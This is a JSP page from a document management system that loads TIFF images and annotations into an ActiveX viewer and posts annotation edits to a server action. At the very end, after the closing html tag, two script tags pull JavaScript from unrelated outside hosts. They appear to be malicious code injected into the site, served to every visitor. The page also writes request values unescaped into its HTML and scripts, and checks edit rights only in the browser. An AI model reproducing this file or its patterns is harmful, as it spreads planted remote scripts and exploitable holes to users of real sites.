<%
/*
 * @(#)TiffViewer_Bizsoft.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  TiffViewer_Bizsoft.jsp

  This class is used to retrieve the document content from http

  @author          barbin
  @company         DCIVision Limited
  @creation date   31/08/2006
  @version         $Revision: 1.3 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<script language="Javascript"> <jsp:include page="/js/Variable.jsp"/> </script> 
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<%
// Retrieval Document ID and its Version ID
String path = (String)request.getAttribute("path");
Integer documentID = (Integer)request.getAttribute("documentID");
Integer annotationDocumentID = (Integer)request.getAttribute("annotationDocumentID");
Integer rootID = (Integer)request.getAttribute("rootID");
String documentName = (String)request.getAttribute("documentName");
String isHasRight = (String)request.getAttribute("isHasRight");
String isSaveOk = (String)request.getAttribute("isSaveOk");
 
%>
<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<title><bean:message key='dms.label.tif_viewer'/> - <%=documentName%></title>
</head>
<script LANGUAGE="JavaScript">
var isHasRight = <%=isHasRight%>;
function AnnotationSubmit()
{
  document.form1.HField.value=ImaActive.GetAnnotation();
  if(isHasRight==false){
    alert("you cann't modify this tiff file");
  }else{
    document.form1.submit()
  }
  
  
}
</script>

<script LANGUAGE="JavaScript">
function windowload()
{
   var isSaveOk = <%=isSaveOk%>
  
   var documentPath = "<%=path.toString()%>/dms/FileDownloadServlet?targetID=<%=documentID.toString()%>&version=TOP&documentType=D&systemLogID=null&ext=.tif&isDownload=Y";
  
   var annoPath = "<%=path.toString()%>/dms/FileDownloadServlet?targetID=<%=annotationDocumentID.toString()%>&version=TOP&documentType=D&systemLogID=null&ext=.tif&isDownload=Y";
   try{
     ImaActive.LoadImage(documentPath);
     ImaActive.LoadAnnotation(annoPath);
   }catch(e){}
   if(isHasRight==false){
     alert("you cann't modify this tiff file");
   }
   if(isSaveOk==true){
     alert("Save OK!");
   }
}
</script>

<body onload="windowload()">
<object classid="clsid:7D9C7873-98A3-4D8C-9C1A-056E14502FB6" 
 id = ImaActive
 width="100%" height="100%">

 <embed src="tiffViewer.cab" type="application/activeX" width="600" height="400"></embed>
 <SPAN STYLE="color:red"><bean:message key='dms.label.need_install_bizsoft_activex'/></SPAN>
</object>

<form id="form1" name="form1" method="post" action="../dms/MaintDmsTiffVierwerAction.do">
  <label>
  <input name="HField" type="hidden" id="HField" value="" />
  </label>
  <input type="hidden" name="parentID" value="<%=documentID%>">
  <input type="hidden" name="documentID" value="<%=annotationDocumentID%>">
  <input type="hidden" name="rootID" value="<%=rootID%>">
</form>

</body>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>